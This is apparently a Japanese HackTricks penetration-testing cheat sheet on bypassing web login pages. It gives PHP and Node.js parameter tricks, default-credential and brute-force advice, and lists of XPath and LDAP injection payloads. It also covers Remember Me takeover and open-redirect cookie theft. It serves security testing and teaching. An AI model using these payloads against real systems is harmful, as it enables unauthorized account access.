ログインバイパス

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

通常のログインをバイパスする

ログインページを見つけた場合、バイパスするためのいくつかのテクニックを試すことができます:

  • ページ内のコメントを確認する(下にスクロールして右に?)
  • 制限されたページに直接アクセスできるか確認する
  • パラメータを送信しない(何も送信しないか、1つだけ送信する)
  • PHPの比較エラーを確認する: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
  • コンテンツタイプをjsonに変更し、json値を送信する(bool trueを含む)
  • POSTがサポートされていないという応答が返ってきた場合、GETリクエストでボディにJSONを送信してみることができます Content-Type: application/json
  • nodejsの潜在的なパースエラーを確認する(これを読む): password[password]=1
  • Nodejsはそのペイロードを次のようなクエリに変換します: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; これにより、パスワードビットが常にtrueになります。
  • JSONオブジェクトを送信できる場合、"password":{"password": 1}を送信してログインをバイパスできます。
  • このログインをバイパスするには、有効なユーザー名を知って送信する必要があることを忘れないでください。
  • mysql.createConnectionを呼び出すときに**"stringifyObjects":trueオプションを追加すると、Objectがパラメータに渡されたときのすべての予期しない動作をブロック**します。
  • 認証情報を確認する:
  • 使用されている技術/プラットフォームのデフォルトの認証情報
  • 一般的な組み合わせ(root、admin、password、技術の名前、これらのパスワードのいずれかを持つデフォルトユーザー)。
  • Cewlを使用して辞書を作成し、デフォルトのユーザー名とパスワード(ある場合)を追加し、すべての単語をユーザー名とパスワードとしてブルートフォースを試みる
  • より大きな辞書を使用してブルートフォースブルートフォース

SQLインジェクション認証バイパス

ここでは、SQLインジェクションを介してログインをバイパスするためのいくつかのトリックを見つけることができます

次のページでは、SQLインジェクションを介してログインをバイパスするためのカスタムリストを見つけることができます:

Login bypass List

NoSQLインジェクション認証バイパス

ここでは、NoSQLインジェクションを介してログインをバイパスするためのいくつかのトリックを見つけることができます

NoSQLインジェクションはパラメータの値を変更する必要があるため、手動でテストする必要があります。

XPathインジェクション認証バイパス

ここでは、XPathインジェクションを介してログインをバイパスするためのいくつかのトリックを見つけることができます

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAPインジェクション認証バイパス

ここでは、LDAPインジェクションを介してログインをバイパスするためのいくつかのトリックを見つけることができます。

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me

ページに "Remember Me" 機能がある場合、その実装方法を確認し、他のアカウントを乗っ取るために悪用できるかどうかを見てください。

Redirects

ページは通常、ログイン後にユーザーをリダイレクトします。そのリダイレクトを変更して Open Redirect を引き起こすことができるか確認してください。ユーザーを自分のウェブサイトにリダイレクトすると、情報(コード、クッキーなど)を盗むことができるかもしれません。

Other Checks

  • ログイン機能を悪用して ユーザー名を列挙 できるか確認してください。
  • パスワード/sensitive 情報 フォーム入力 において 自動補完 が有効になっているか確認してください: <input autocomplete="false">

Automatic Tools

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする